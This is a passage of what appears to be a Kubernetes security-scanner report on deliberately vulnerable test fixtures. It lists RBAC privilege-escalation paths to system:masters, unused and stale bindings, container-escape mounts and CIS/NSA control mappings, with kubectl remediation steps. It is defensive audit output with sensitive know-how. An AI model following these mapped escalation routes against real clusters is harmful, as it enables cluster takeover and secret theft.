  • ServiceAccount vulnerable/privileged-reader -> system_masters via pod_create_token_theft -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount vulnerable/privileged-reader -> kube_system_secrets via read_secrets -> kube_system_secrets (HIGH, 1 hop)
  • ServiceAccount vulnerable/privileged-reader -> User arn:aws:iam::123456789012:role/AdministratorAccess via pod_create_token_theft -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount vulnerable/privileged-reader -> namespace_admin via pod_create_token_theft -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount vulnerable/privileged-reader -> generic via pod_create_token_theft -> generic (HIGH, 2 hops)

ServiceAccount privesc-fixtures/sa-secret-mint

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-secret-mint -> ClusterRole/cr-secret-mint

Effective verbs: create get

Effective rules:
  • create,get on secrets@core
Privesc paths originating here:
  • ServiceAccount privesc-fixtures/sa-secret-mint -> kube_system_secrets via read_secrets -> kube_system_secrets (HIGH, 1 hop)
  • ServiceAccount privesc-fixtures/sa-secret-mint -> generic via secret_mint_token -> generic (HIGH, 1 hop)

ServiceAccount privesc-fixtures/sa-secret-read

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-secret-read -> ClusterRole/cr-secret-read

Effective verbs: get

Effective rules:
  • get on secrets@core
Privesc paths originating here:
  • ServiceAccount privesc-fixtures/sa-secret-read -> kube_system_secrets via read_secrets -> kube_system_secrets (HIGH, 1 hop)

ServiceAccount rbac-fixtures/sa-workload-mutate

Bindings:
  • ClusterRoleBinding/crb-workload-mutate -> ClusterRole/cr-workload-mutate

Effective verbs: create patch update

Effective rules:
  • create,patch,update on cronjobs@apps
  • create,patch,update on cronjobs@batch
  • create,patch,update on daemonsets@apps
  • create,patch,update on daemonsets@batch
  • create,patch,update on deployments@apps
  • create,patch,update on deployments@batch
  • create,patch,update on jobs@apps
  • create,patch,update on jobs@batch
  • create,patch,update on statefulsets@apps
  • create,patch,update on statefulsets@batch

ServiceAccount privesc-fixtures/sa-portforward

Bindings:
  • ClusterRoleBinding/crb-portforward -> ClusterRole/cr-portforward

Effective verbs: create

Effective rules:
  • create on pods/portforward@core

ServiceAccount rbac-fixtures/sa-stale-roleref

Bindings:
  • ClusterRoleBinding/crb-stale-roleref -> ClusterRole/kubesplaining-fixture-deleted-role

ServiceAccount rbac-fixtures/ghost-sa-fixture

Bindings:
  • RoleBinding/rbac-fixtures/rb-stale-subject -> Role/r-stale-subject-target

Effective verbs: get

Effective rules:
  • get on configmaps@core

Group kubeadm:cluster-admins

Bindings:
  • ClusterRoleBinding/kubeadm:cluster-admins -> ClusterRole/cluster-admin

Effective verbs: *

Effective rules:
  • * on *@*
  • * on @core

Group system:masters

Bindings:
  • ClusterRoleBinding/cluster-admin -> ClusterRole/cluster-admin

Effective verbs: *

Effective rules:
  • * on *@*
  • * on @core
ServiceAccount csr-fixtures/sa-csr-mint
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-csr-mint granted to ServiceAccount csr-fixtures/sa-csr-mint but never exercised

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount csr-fixtures/sa-csr-mint. The Role cr-csr-mint is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-csr-mint") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount local-path-storage/local-path-provisioner-service-account
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role local-path-provisioner-role granted to ServiceAccount local-path-storage/local-path-provisioner-service-account but never exercised

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount local-path-storage/local-path-provisioner-service-account. The Role local-path-provisioner-role is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "local-path-provisioner-role") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount lp-fixtures/sa-lp-orphan
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role r-lp-orphan granted to ServiceAccount lp-fixtures/sa-lp-orphan but never exercised

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount lp-fixtures/sa-lp-orphan. The Role r-lp-orphan is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "r-lp-orphan") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount lp-fixtures/sa-lp-wildcard
1 med 1 finding
MEDIUM KUBE-RBAC-WILDCARD-USED-PARTIAL-001 Role r-lp-wildcard grants verbs: ["*"] to ServiceAccount lp-fixtures/sa-lp-wildcard, only a subset is used

Over 30 days (2026-05-23 → 2026-06-22, 3 events), ServiceAccount lp-fixtures/sa-lp-wildcard exercised a narrow subset of the wildcard verbs: ["*"] grants in r-lp-wildcard:

- secrets (apiGroup core) observed: get

The wildcard implicitly includes create, update, patch, delete, deletecollection, bind, escalate, impersonate, and any future verb Kubernetes introduces. Replacing the wildcard with the observed verb set shrinks blast radius without affecting known behavior.

How to fix (3 steps)

Verify the observation window covers rare administrative actions (monthly cleanup, post-incident recovery).

Apply the narrower Role shown in the snippet below.

Re-scan after the change to confirm no UNUSED-VERB findings emerge: those would indicate the new verb list is itself broader than the workload needs.

Suggested narrower Role (YAML)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole  # or Role, matching the existing definition
metadata:
  name: r-lp-wildcard-narrowed
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get"]
ServiceAccount rbac-fixtures/sa-impersonate
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-impersonate granted to ServiceAccount rbac-fixtures/sa-impersonate but never exercised

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount rbac-fixtures/sa-impersonate. The Role cr-impersonate is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-impersonate") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount rbac-fixtures/sa-pod-create
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-pod-create granted to ServiceAccount rbac-fixtures/sa-pod-create but never exercised

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount rbac-fixtures/sa-pod-create. The Role cr-pod-create is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-pod-create") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount rbac-fixtures/sa-stale-roleref
1 med 1 finding
MEDIUM KUBE-RBAC-STALE-001 Cluster-wide stale binding references non-existent ClusterRole on ServiceAccount/rbac-fixtures/sa-stale-roleref

ClusterRoleBinding crb-stale-roleref grants permissions from ClusterRole kubesplaining-fixture-deleted-role, but no ClusterRole named kubesplaining-fixture-deleted-role exists in this cluster. The binding currently confers no effective permissions, so an attacker who already has ServiceAccount/rbac-fixtures/sa-stale-roleref gains nothing today.

What makes this risky is what happens *next*. The moment any identity with create clusterroles re-creates a clusterrole named exactly kubesplaining-fixture-deleted-role — by restoring it from version control, applying a cached manifest, or as a deliberate attack step — this binding silently activates and grants the new role's rules to every subject listed. The binding itself was never re-reviewed; the only review gate that fired was on the role definition. If the original review process that introduced this binding was looking at it in the context of a specific role's rules, that context is now gone.

How to fix (4 steps)

Confirm the binding is no longer needed: kubectl get clusterrolebinding crb-stale-roleref -o yaml.

If the ClusterRole kubesplaining-fixture-deleted-role should still exist, restore it from version control and re-review the binding's grant in the context of the restored rules.

If the binding is obsolete, delete it: kubectl delete clusterrolebinding crb-stale-roleref.

Add a CI lint (Kyverno / Gatekeeper / ValidatingAdmissionPolicy) that rejects any clusterrolebinding whose roleRef does not resolve to an existing ClusterRole.

ServiceAccount rbac-fixtures/sa-wildcard
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-wildcard granted to ServiceAccount rbac-fixtures/sa-wildcard but never exercised

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount rbac-fixtures/sa-wildcard. The Role cr-wildcard is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-wildcard") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount secrets-bundle/cross-ns-reader
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role secrets-reader granted to ServiceAccount secrets-bundle/cross-ns-reader but never exercised

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount secrets-bundle/cross-ns-reader. The Role secrets-reader is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "secrets-reader") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount vulnerable/default
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cm-reader granted to ServiceAccount vulnerable/default but never exercised

Audit logs covering 30 days (2026-05-23 → 2026-06-22, 3 events) show zero API calls from ServiceAccount vulnerable/default. The Role cm-reader is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cm-reader") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount lp-fixtures/sa-lp-narrow
1 low 1 finding
LOW KUBE-RBAC-UNUSED-VERB-001 Role r-lp-narrow has 5 unused verb-grants for ServiceAccount lp-fixtures/sa-lp-narrow

Over 30 days (2026-05-23 → 2026-06-22, 3 events), ServiceAccount lp-fixtures/sa-lp-narrow exercised some of the verbs in r-lp-narrow but not others. Unused: create configmaps (apiGroup core), delete configmaps (apiGroup core), patch configmaps (apiGroup core), update configmaps (apiGroup core), watch configmaps (apiGroup core). The Role can be safely narrowed to drop the verbs the workload has never needed.

How to fix (2 steps)

Confirm the audit window is long enough to capture rare-but-legitimate operations (monthly cron jobs, error-only code paths).

Edit r-lp-narrow to drop the unused verbs, or apply the suggested replacement below.

Suggested narrower Role (YAML)
# Drop the following from Role/ClusterRole `r-lp-narrow`:
#   apiGroup `core`, resource `configmaps`: create, delete, patch, update, watch
# Replacement Role: keep only the verbs the workload actually uses (visible in your audit log).
ServiceAccount rbac-fixtures/ghost-sa-fixture
1 low 1 finding
LOW KUBE-RBAC-STALE-002 Namespace rbac-fixtures only stale binding lists non-existent ServiceAccount rbac-fixtures/ghost-sa-fixture

RoleBinding rbac-fixtures/rb-stale-subject grants permissions from Role rbac-fixtures/r-stale-subject-target to ServiceAccount rbac-fixtures/ghost-sa-fixture, but no such ServiceAccount exists in namespace rbac-fixtures. No pods can mount a token for this SA today, so the binding confers no realised permissions.

This is latent privilege escalation. The moment a ServiceAccount named exactly ghost-sa-fixture is created in namespace rbac-fixtures — by an attacker with create serviceaccounts in that namespace, by a routine redeploy from a stale GitOps repo, or by an operator restoring an accidentally-deleted SA — it inherits everything Role rbac-fixtures/r-stale-subject-target grants. The binding itself is never re-reviewed; only the SA creation is, and that step usually looks unremarkable.

Note: kubesplaining only validates ServiceAccount subjects this way. User and Group subjects cannot be checked against the snapshot — Kubernetes authenticates them externally (OIDC, client certs, cloud IAM) and keeps no inventory of which identities are valid.

How to fix (4 steps)

Confirm no workloads still depend on this SA: kubectl get all -n rbac-fixtures -o yaml | rg 'serviceAccountName:\s*ghost-sa-fixture'.

Edit the binding to drop the stale subject, or delete the binding outright if it is obsolete.

If the SA was deleted by mistake, restore it (kubectl apply -f <sa.yaml>) and re-review whether the binding's grant is still appropriate.

Add a CI lint that rejects bindings whose ServiceAccount subjects do not resolve to an existing SA in the named namespace.

Compliance Coverage

Findings mapped to controls in the CIS Kubernetes Benchmark v1.9 and the NSA/CISA Kubernetes Hardening Guide v1.2. Use this view to answer auditor questions like “which findings touch CIS 5.1 (RBAC)?” without re-reading every finding’s remediation. One finding can map to multiple controls; the same finding appears under every control it satisfies.

239 Findings mapped
2 Frameworks
19 CIS v1.9 controls hit
4 NSA / CISA controls hit
61 Critical findings

155 findings in this report are not yet mapped to any external framework control. They remain visible in every other tab; only the Compliance view excludes them.

CIS v1.9

CIS Kubernetes Benchmark v1.9

19 controls 231 findings 61 crit 75 high 93 med 2 low View framework →
5.2.1

Minimize the admission of privileged containers

27 crit 2 med
29 findings
5.1.8

Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster

12 crit 5 high 3 med
  • CRITICAL KUBE-PRIVESC-008 Cluster-wide impersonate permission on ServiceAccount/rbac-fixtures/sa-impersonate
  • CRITICAL KUBE-PRIVESC-009 Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/rbac-fixtures/sa-bind-escalate)
  • CRITICAL KUBE-PRIVESC-010 Cluster-wide write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-fixtures/sa-rolebinding-mutate)
  • CRITICAL KUBE-PRIVESC-010 Namespace rbac-ns-fixtures only write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate)
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/csr-fixtures/sa-csr-mint can impersonate `system:masters` in 1 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/rbac-fixtures/sa-impersonate can impersonate `system:masters` in 1 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/cloud-eks-test/eks-admin-irsa can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/privesc-fixtures/sa-ephemeral can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/privesc-fixtures/sa-pod-exec can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/rbac-fixtures/sa-pod-create can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/rbac-fixtures/sa-token-create can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/vulnerable/privileged-reader can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/privesc-fixtures/sa-pod-create-escape can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate can reach namespace-admin in `rbac-ns-fixtures` in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-fixtures/sa-pod-create can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-fixtures/sa-token-create can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/vulnerable/privileged-reader can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
  • MEDIUM KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-ephemeral can reach namespace-admin in `rbac-ns-fixtures` in 3 hop(s)
  • MEDIUM KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-pod-exec can reach namespace-admin in `rbac-ns-fixtures` in 3 hop(s)
  • MEDIUM KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach namespace-admin in `rbac-ns-fixtures` in 4 hop(s)
20 findings
5.1.1

Ensure that the cluster-admin role is only used where required

11 crit 1 high 1 med 1 low
14 findings
5.1.3

Minimize wildcard use in Roles and ClusterRoles

4 crit 9 med 1 low
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-cluster-admin
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-wildcard
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/rbac-fixtures/sa-cluster-admin holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • MEDIUM KUBE-RBAC-WILDCARD-USED-PARTIAL-001 Role r-lp-wildcard grants verbs: ["*"] to ServiceAccount lp-fixtures/sa-lp-wildcard, only a subset is used
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-csr-mint granted to ServiceAccount csr-fixtures/sa-csr-mint but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role local-path-provisioner-role granted to ServiceAccount local-path-storage/local-path-provisioner-service-account but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role r-lp-orphan granted to ServiceAccount lp-fixtures/sa-lp-orphan but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-impersonate granted to ServiceAccount rbac-fixtures/sa-impersonate but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-pod-create granted to ServiceAccount rbac-fixtures/sa-pod-create but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-wildcard granted to ServiceAccount rbac-fixtures/sa-wildcard but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role secrets-reader granted to ServiceAccount secrets-bundle/cross-ns-reader but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cm-reader granted to ServiceAccount vulnerable/default but never exercised
  • LOW KUBE-RBAC-UNUSED-VERB-001 Role r-lp-narrow has 5 unused verb-grants for ServiceAccount lp-fixtures/sa-lp-narrow
14 findings
5.2.12

Minimize the admission of HostPath volumes

3 crit 3 high
  • CRITICAL KUBE-ESCAPE-005 Docker socket mounted into Deployment/vulnerable/socket-mounts-app (volume docker-sock/var/run/docker.sock)
  • CRITICAL KUBE-ESCAPE-006 Root filesystem (/) mounted from host into Deployment/vulnerable/risky-app
  • CRITICAL KUBE-CONTAINERD-SOCKET-001 Containerd socket mounted into Deployment/vulnerable/socket-mounts-app (volume containerd-sock)
  • HIGH KUBE-PV-HOSTPATH-001 Pod-mounted PVC pvc-hostpath-kubelet is backed by a sensitive hostPath PV pv-hostpath-kubelet
  • HIGH KUBE-ESCAPE-008 /var/log mounted from host into Deployment/vulnerable/socket-mounts-app enables log-symlink escape primitive
  • HIGH KUBE-HOSTPATH-001 HostPath mount /tmp/data in Deployment/vulnerable/generic-hostpath-app
6 findings
5.1.6

Ensure that Service Account Tokens are only mounted where necessary

2 crit 5 high
  • CRITICAL KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/rbac-fixtures/sa-impersonate is mounted by live workloads and has dangerous permissions: impersonate (cluster)
  • CRITICAL KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard is mounted by live workloads and has dangerous permissions: secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/local-path-storage/local-path-provisioner-service-account is mounted by live workloads and has dangerous permissions: create pods (local-path-storage)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/lp-fixtures/sa-lp-wildcard is mounted by live workloads and has dangerous permissions: secrets (lp-fixtures)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by live workloads and has dangerous permissions: create pods (cluster)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/secrets-bundle/cross-ns-reader is mounted by live workloads and has dangerous permissions: secrets (secrets-bundle-target)
  • HIGH KUBE-SA-DAEMONSET-001 ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by a DaemonSet, so its token lives on every node the DaemonSet schedules to
7 findings
5.1.4

Minimize access to create pods

1 crit 5 high
  • CRITICAL KUBE-PRIVESC-012 get nodes/proxy enables kubelet exec via API server (ServiceAccount/rbac-fixtures/sa-nodes-proxy)
  • HIGH KUBE-PRIVESC-001 Namespace local-path-storage only pod creation enables token theft and node takeover (ServiceAccount/local-path-storage/local-path-provisioner-service-account)
  • HIGH KUBE-PRIVESC-001 Namespace privesc-fixtures only pod creation enables token theft and node takeover (ServiceAccount/privesc-fixtures/sa-pod-create-escape)
  • HIGH KUBE-PRIVESC-001 Cluster-wide pod creation enables token theft and node takeover (ServiceAccount/rbac-fixtures/sa-pod-create)
  • HIGH KUBE-PRIVESC-001 Cluster-wide pod creation enables token theft and node takeover (ServiceAccount/vulnerable/privileged-reader)
  • HIGH KUBE-PRIVESC-003 Cluster-wide workload-controller mutation can spawn privileged pods on ServiceAccount/rbac-fixtures/sa-workload-mutate
6 findings
5.2.2

Minimize the admission of containers wishing to share the host process ID namespace

1 crit
  • CRITICAL KUBE-ESCAPE-002 Pod shares host PID namespace (hostPID: true) in Deployment/vulnerable/host-ns-app
1 finding
5.2.5

Minimize the admission of containers with allowPrivilegeEscalation

26 high
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in DaemonSet/rbac-fixtures/daemon-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/cloud-eks-test/imds-pivot-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/cloud-eks-test/irsa-admin-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-image
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-lifecycle
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-limits
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-probes
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/csr-fixtures/csr-mint-app
  • HIGH KUBE-PODSEC-APE-001 Container api allows privilege escalation in Deployment/flat-network/api
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/flat-network/unmatched
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/ingress-only/ingress-app
  • HIGH KUBE-PODSEC-APE-001 Container local-path-provisioner allows privilege escalation in Deployment/local-path-storage/local-path-provisioner
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/lp-fixtures/lp-narrow-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/lp-fixtures/lp-orphan-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/lp-fixtures/lp-wildcard-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/netpol-imds/imds-allow-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/netpol-imds/imds-open-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/rbac-fixtures/imp-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/rbac-fixtures/wildcard-app
  • HIGH KUBE-PODSEC-APE-001 Container pause allows privilege escalation in Deployment/secrets-bundle/cross-ns-consumer
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/generic-hostpath-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/host-ns-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/risky-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/root-runner
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/socket-mounts-app
26 findings
5.3.2

Ensure that all Namespaces have NetworkPolicies defined

15 high 4 med
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cloud-eks-test has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace containersec-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace csr-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace default has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace local-path-storage has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace lp-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace privesc-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace psa-suppressed has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace psa-unlabeled-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace pv-hostpath-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace rbac-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace rbac-ns-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace secrets-bundle has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace secrets-bundle-target has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
